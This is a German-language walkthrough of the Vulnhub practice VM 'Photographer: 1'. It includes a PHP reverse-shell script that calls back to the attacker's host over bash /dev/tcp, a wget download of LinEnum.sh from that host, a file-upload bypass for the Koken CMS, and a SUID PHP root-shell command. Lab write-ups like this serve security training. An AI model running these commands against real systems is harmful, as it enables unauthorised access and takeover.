Photographer: 1 – Vulnhub

VM: Photographer: 1
Quelle:www.vulnhub.com
Ziel: Flags user.txt und proof.txt auslesen.
Tools: NMAP, Burp Suite, Netcat, LinEnum.sh
Techniken: Netzwerk & Port Scan, Enumeration, Privilege Escalation, Exploit Using, SUID

Schritt 1: Scanning

Voraussetzungen: VM ist gestartet, eine IP wurde durch DHCP zugewiesen.

Nachdem die VM gestartet und geladen wurde, müssen wir die IP von der VM ermitteln. Dabei hilft uns das Tool NMAP welches beim Kali Linux schon vorinstalliert ist. Falls auf deinem System kein NMAP installiert ist, kannst du es aus Repositorien oder von der Seite des Entwicklers herunterladen und installieren.

Mit dem Befehl nmap -PE -sn -oG - 192.168.178.1/24 scannen wir unser Netzwerk auf aktive Geräte, die auf ein Ping antworten. Als Netzwerkadresse muss du dein Netzwerkbereich eingeben.

Photographer - IPScan

Bei mir wurde der VM die IP 192.168.178.160 (rot unterstrichen) zugewiesen.

Nachdem wir die IP von der VM ermittelt haben, können wir einen Port-Scan durchführen. Mit einem Port-Scan kann ermittelt werden welche Dienste auf der VM laufen. Das machen wir mit dem gleichen Tool nur mit anderem Parameter. nmap -p- -A 192.168.178.160 gibt uns alle offene Ports aus, die auf ein TCP Verbindungsversuch antworten.

Photographer - PortScan

Wie auf dem Bild zu sehen ist, wurden mehrere offene Ports ermittelt:

PortService
80HTTP
139SMB über NetBIOS
445SMB über TCP
8000HTTP

Schritt 2: Enumeration

Port 80 – HTTP Server

Nachdem wir die offenen Ports ermittelt haben, ist die Zeit gekommen so viel wie möglich Informationen über das System zu kriegen. Fangen wir mit dem Port 80 – HTTP Server an. Dazu geben wir einfach die IP, die wir im Schritt 1 ermittelt haben in einen beliebigen Internet Browser an.
http://192.168.178.160

Photographer - HTTP - 1

Leider können wir hier keine für uns interessante Informationen finden.

Port 139 + 445 – SMB

Sehen wir uns mal den SMB-Service an. Mit dem Befehl smbclient -L 192.168.178.160 sehen wir uns die Freigegebene Ordner an.

Photographer - SMBScan

Da wir kein Passwort haben, bestätigen wir einfach die leere Eingabe. Hier können wir eine „sambashare“ Freigabe sehen auf die wir zugreifen können. Versuchen wir es zu mounten und zu prüfen was sich darauf befindet.

root@Kali202002:/# cd /tmp
root@Kali202002:/tmp# mkdir mnt
root@Kali202002:/tmp# mount -t cifs //192.168.178.160/sambashare mnt

Photographer - SMBShare

Hier finden wir zwei Dateien.

mailsent.txt
wordpress.bkp.zip

Beim wordpress.bkp.zip handelt es sich um einen Backup einer WordPress Installation. Leider sind keine für uns Interessante Daten dabei. Bei der Datei mailsent.txt ist es schon interessanter:

Message-ID: 4129F3CA.2020509@dc.edu
Date: Mon, 20 Jul 2020 11:40:36 -0400
From: Agi Clarence agi@photographer.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.0.1) Gecko/20020823 Netscape/7.0
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Daisa Ahomi daisa@photographer.com
Subject: To Do – Daisa Website’s
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit

Hi Daisa!
Your site is ready now.
Don’t forget your secret, my babygirl 😉

Hier können schon etwas mehr Informationen sammeln.
Es sind zwei Namen mit E-Mail Adressen
Agi Clarence agi@photographer.com
Daisa Ahomi daisa@photographer.com

Und auch der Satz Don't forget your secret, my babygirl ;) könnte interessant sein. Mehr ist an der Stelle nicht zu holen, deswegen gehen wir zum nächsten Port über.

Port 8000 – HTTP

Zuerst öffnen wir die unsere IP mit dem Port im Browser: 192.168.178.160:8000

Hier können wie eine Frontend Seite des CMS "Koken" welche für Daisa Ahomi konfiguriert wurde. Vermutlich ist das die Seite, welche in der vorher gefundener E-Mail erwähnt wurde.

Photographer - HTTP - 2

Leider ist keine Login Möglichkeit sichtbar. Scannen wir die Seite auf vorhanden Verzeichnisse nmap 192.168.178.160 -p 8000 --script=http-enum.

Photographer - HTTP - 2 Enum

In der Liste das Ergebnis sehen wir ein vielversprechendes Verzeichnis "admin". Probieren wir es mal aus.

Photographer - HTTP - 2 - Admin

Hier finden wir eine Login Aufforderung. Als Benutzername nehmen wir die E-Mail-Adresse von Daisa und als Passwort probieren wir babygirl

Damit haben wir uns einen Zugang zum Adminbereich geschafft.

Schritt 3: Exploration

Nach dem Einloggen suchen wir nach einer Möglichkeit zum hochladen von eigenen Dateien. Leider kann man mit dem eingebauten Import nur Bilder und Video hochladen. Unter Settings - Console finden wir die Version von dem CMS: 0.22.24.

Dazu finden wir auf der Seite https://www.exploit-db.com ein passendes Exploit. So wie es aussieht wird die Datei nur Clientseitig geprüft und es ist möglich den Dateinamen in dem Uploadstream zu ändern. Dazu brauchen wir einen Lokalen Proxy z.B. Burp Suite.

An dieser Stelle haben wir zwei Wege. Unter Library - Content liegt ein Skript shell.php welches heruntergeladen, angepasst und wieder hochgeladen werden muss. Oder wir nehmen einfach ein eigenes Reverse Shell Skript. Ich habe mich für Variante 2 entschieden und habe folgendes Skript vorbereitet und als rs.php.jpg abgespeichert.

<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.178.155/8888 0>&1'");
?>

Jetzt können wir es versuchen unseren Reverse Shell Skript hoch zu laden.

Voraussetzungen dafür sind:
Burp Suite ist gestartet und Proxy steht auf „Intercept is on
– In dem Web-Browser ist der Proxy konfiguriert

Die genaue Anleitung ist gut auf der Exploit Seite beschrieben, deswegen werde ich es nicht nochmal beschreiben.

Laden wir unsere vorbereitete Datei hoch und passen die Einstellungen in Burp Suite wie es in Exploit Beschreibung steht.

Wenn die Datei hochgelanden ist, können wir diese unter Library - Content die Datei auswählen und bei Download File den Link kopieren.

Photographer - Koken

Unten sieht Ihr wie das URL aussehen soll.

Schritt 4 – Reverse Shell

Jetzt ist die Zeit gekommen eine Verbindung zu dem Server mittels Reverse Shell herzustellen. Dazu brauchen wir das Tool Netcat.

Auf unserem Lokalem Rechner starten wir den Netcat mit folgenden Parameter: nc -lvp 8888. Damit lauscht der Netcat auf dem Port 8888 auf eingehende Verbindungen.

Um die Verbindung aufzubauen müssen die die vorher hochgeladene Datei im Web-Browser aufrufen, die Proxy Funktion im Burp Suite muss ausgeschaltet werden.

Photographer - Reverse Shell

Nachdem wir das Skript aufgerufen haben, sehen wir eine Verbindung zum Netcat. Jetzt können wir den Host auf weitere Möglichkeiten zur Rechte Eskalation untersuchen.

Schritt 5 – Host Exploration

Jetzt, wo wir ein Shell Zugriff auf das System haben können wir versuchen möglichst viel Informationen über das System zu sammeln.

Unter /home/daisa/user.txt finden wir den ersten Flag.

Photographer - user.txt

Zur weiterer Analyse nutzen wir das Skript LinEnum.sh welches wir dann von unserem Rechner herunterladen können. Dazu starten wir in dem Verzeichnis wo das Skript liegt einen HTTP-Server.

python -m SimpleHTTPServer 8000

Laden die Datei auf dem Zielrechner herunter führen sie aus:

cd /tmp
wget 192.168.178.155:8000/LinEnum.sh
chmod +x LinEnum.sh
./LinEnum.sh

Bei der Analyse der Ausgabe fällt uns folgendes aus:

Photographer - LinEnum

Das Programm PHP kann root Rechten gestartet werden. Dazu spawnen wir eine Shell mit Hilfe von PHP php -r "pcntl_exec('/bin/bash', ['-p']);" und lesen die proof.txt aus.

Photographer - Final